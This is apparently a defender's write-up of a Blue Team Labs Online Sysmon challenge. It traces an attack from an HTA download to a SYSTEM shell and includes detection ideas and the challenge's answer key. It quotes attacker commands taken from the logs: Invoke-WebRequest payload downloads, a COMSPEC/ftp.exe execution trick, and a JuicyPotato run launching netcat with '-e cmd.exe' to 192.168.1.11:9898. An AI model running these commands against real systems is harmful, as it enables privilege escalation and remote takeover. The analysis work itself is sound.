A walkthrough of the Blue Team Labs Online "Log Analysis – Sysmon" challenge — reconstructing an attacker's full path from a malicious HTA file to a SYSTEM-level reverse shell, using nothing but grep, CyberChef, and scdbg.
Sysmon logs look intimidating the first time you open one — thousands of JSON events, no obvious starting point. This post walks through how I approached the Blue Team Labs Online "Log Analysis – Sysmon" challenge, where the goal is to reconstruct an attacker's entire path across a single compromised Windows endpoint using only a Sysmon JSON export.
Rather than reading events top to bottom, the whole investigation is really a series of pivots: find one indicator, search the dataset for it, follow where that leads, repeat. That's the mindset this post tries to show, not just the answers.
A single Windows 10 host, MSEDGEWIN10, has been compromised. All we get is sysmon-events.json. No alerts, no EDR verdict — just raw telemetry. The challenge asks eight questions that, put together, trace the entire kill chain: initial access, execution, defense evasion, discovery, command and control, and privilege escalation.
Since the challenge hints that PowerShell was involved somewhere, the fastest way in isn't a full timeline walk — it's a keyword search:
grep "powershell" sysmon-events.json > PowerShellOutput.txt
This immediately turns up several powershell.exe launches using -nop -w hidden -e <base64>. The -e (or -enc) flag is a very common obfuscation trick — it hides the real command behind Base64 so it doesn't show up as plain text in casual log review, and it slips past naive string-matching detections. One of the decoded commands turns out to be:
Invoke-WebRequest -Uri http://192.168.1.11:6969/supply.exe -OutFile supply.exe
So now we have two solid leads: an attacker IP, 192.168.1.11, and the cmdlet + port used to pull the first payload — Invoke-WebRequest on port 6969.
With a malicious IP in hand, I searched the whole dataset for every event referencing 192.168.1.11 and sorted by time. The very first hit is a Sysmon Event ID 15 (FileCreateStreamHash) — an event type that fires whenever a file gets a Zone.Identifier alternate data stream, which is exactly what Windows does when a browser downloads a file from the internet.
"Image": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"
"TargetFilename": "C:\\Users\\IEUser\\Downloads\\updater.hta:Zone.Identifier"
"Contents": "[ZoneTransfer]\r\nZoneId=3\r\nHostUrl=http://192.168.1.11:6969/updater.hta"
"UtcTime": "2021-05-07 12:20:23.207"
ZoneId=3 means Internet Zone — this file came from the network, not from local creation, and Chrome is the process that pulled it down. That makes updater.hta the initial access file, and 12:20:23 UTC the true start of the incident.
Next pivot: the keyword COMSPEC. Normally %COMSPEC% just points at cmd.exe, so any process reassigning it is worth a look.
CommandLine: cmd /c set comspec=C:\windows\temp\supply.exe
Image: C:\Windows\SysWOW64\cmd.exe
UtcTime: 2021-05-07 12:21:43.851
On its own, this line doesn't execute anything malicious — it's staging. Plenty of Windows utilities internally call %COMSPEC% when they need to spawn a shell, and the attacker just made sure that whichever one gets used next will actually launch their malware instead.
56 seconds later, ftp.exe shows up, and two seconds after that, supply.exe appears with ftp.exe as its parent process:
Image: C:\Windows\SysWOW64\ftp.exe
ParentImage: C:\Windows\SysWOW64\cmd.exe
UtcTime: 2021-05-07 12:22:39.500
--
Image: C:\Windows\Temp\supply.exe
ParentImage: C:\Windows\SysWOW64\ftp.exe
UtcTime: 2021-05-07 12:22:41.144
Here's the trick: the built-in Windows ftp.exe client has an interactive shell escape — type ! inside an FTP session and it calls its internal shell() function, which does a CreateProcess() call against whatever %COMSPEC% currently points to. Since COMSPEC had just been re-pointed to supply.exe, this signed, trusted, built-in binary became the launcher for the attacker's payload. That's a textbook LOLBIN (Living-Off-the-Land Binary) technique — it evades any detection that only flags execution of unsigned or unrecognized executables.
The instant supply.exe runs, it fires off a command:
CommandLine: C:\windows\temp\supply.exe /c "ipconfig"
UtcTime: 2021-05-07 12:22:41.594
Basic network discovery — the malware checking its surroundings before doing anything more interesting.
Checking Sysmon's Event ID 7 (Image/DLL Load) for anything supply.exe loads turns up python27.dll, pulled from a folder named AppData\Local\Temp\_MEI53922. That _MEI prefix is a strong tell — it's the temporary extraction directory PyInstaller creates when it unpacks a bundled Python interpreter and script into a single standalone .exe. So supply.exe isn't a natively compiled binary — it's Python, frozen with PyInstaller.
Knowing the attacker already used Invoke-WebRequest once, I searched for it again further down the timeline and found supply.exe fetching a second file:
powershell -c Invoke-WebRequest -Uri https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -OutFile C:\Windows\Temp\juicy.exe
UtcTime: 2021-05-07 12:23:27.679
JuicyPotato is a publicly available, well-documented Windows privilege escalation tool. Seeing it downloaded here is a strong signal the attacker is about to try to jump from a low-privileged user to SYSTEM.
Shortly after, supply.exe runs the tool:
juicy.exe -l 9999 -p nc.exe -a "192.168.1.11 9898 -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
That CLSID, {B91D5831-B1BD-4608-8198-D72E155020F7}, belongs to winmgmt (Windows Management Instrumentation), a COM server that normally runs as NT AUTHORITY\SYSTEM. JuicyPotato coerces that COM server into authenticating to a local listener it controls, then relays the resulting SYSTEM-level token to launch nc.exe with SYSTEM privileges. Netcat then dials out to 192.168.1.11 on port 9898 with -e cmd.exe, handing the attacker a fully interactive, SYSTEM-level reverse shell. That's privilege escalation and command-and-control, done in one shot.
The challenge doesn't ask for this, but decoding obfuscated PowerShell is a skill worth practicing every time you see it, so I went one step further.
This reveals actual readable PowerShell doing .NET reflection — calls like DefineDynamicAssembly and Marshal.GetDelegateForFunctionPointer. This is a very standard in-memory shellcode loader pattern, the kind of thing you'd see in Metasploit or Cobalt Strike style stagers:
This is where text-based decoding stops helping — the output is binary shellcode, not another script:
Static analysis wasn't going to get me anywhere with raw shellcode, so I switched to dynamic emulation with scdbg, which logs every Windows API call the shellcode tries to make:
scdbg.exe /f "download (3).dat"
LoadLibraryA(ws2_32)
WSAStartup(190)
WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
connect(h=42, host: 192.168.1.11, port: 1234) = 71ab4a07
The shellcode opens a raw socket back to 192.168.1.11 on port 1234 — a separate staging/callback channel from the later JuicyPotato reverse shell on 9898. Two different C2 channels, two different stages of the attack.
| Time (UTC) | What happened |
|---|---|
| 12:20:23 | updater.hta downloaded via Chrome from 192.168.1.11:6969 — initial access |
| ~12:21 | Layered, obfuscated PowerShell executes |
| 12:21:43 | COMSPEC re-pointed to supply.exe |
| 12:22:39 | ftp.exe launched |
| 12:22:41 | supply.exe executed via the ftp.exe LOLBIN, runs ipconfig |
| ~12:23 | python27.dll loaded — malware confirmed as Python (PyInstaller) |
| 12:23:27 | JuicyPotato.exe downloaded from GitHub |
| ~12:23+ | juicy.exe run, netcat reverse shell to 192.168.1.11:9898 as SYSTEM |
Under three minutes, start to finish, from a browser download to a SYSTEM-level shell.
| # | Question | Answer |
|---|---|---|
| 1 | File that gave the attacker access | updater.hta |
| 2 | PowerShell cmdlet + port for the malware download | Invoke-WebRequest, port 6969 |
| 3 | Environment variable set by the attacker | COMSPEC=C:\Windows\temp\supply.exe |
| 4 | LOLBIN used to execute malicious commands | ftp.exe |
| 5 | First command the malware ran | ipconfig |
| 6 | Language the malware was written in | Python |
| 7 | Full URL of the second file downloaded | https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe |
| 8 | Port used for the reverse shell | 9898 |
powershell.exe launched with -enc/-e and -w hidden/-windowstyle hidden together.COMSPEC to a path outside System32/SysWOW64.ftp.exe, certutil.exe, mshta.exe, etc.) spawning unexpected child processes.%TEMP%\_MEI* — a PyInstaller giveaway.6969, 9898, 1234 in this case).-l, -p, -a, -t t, -c {CLSID}).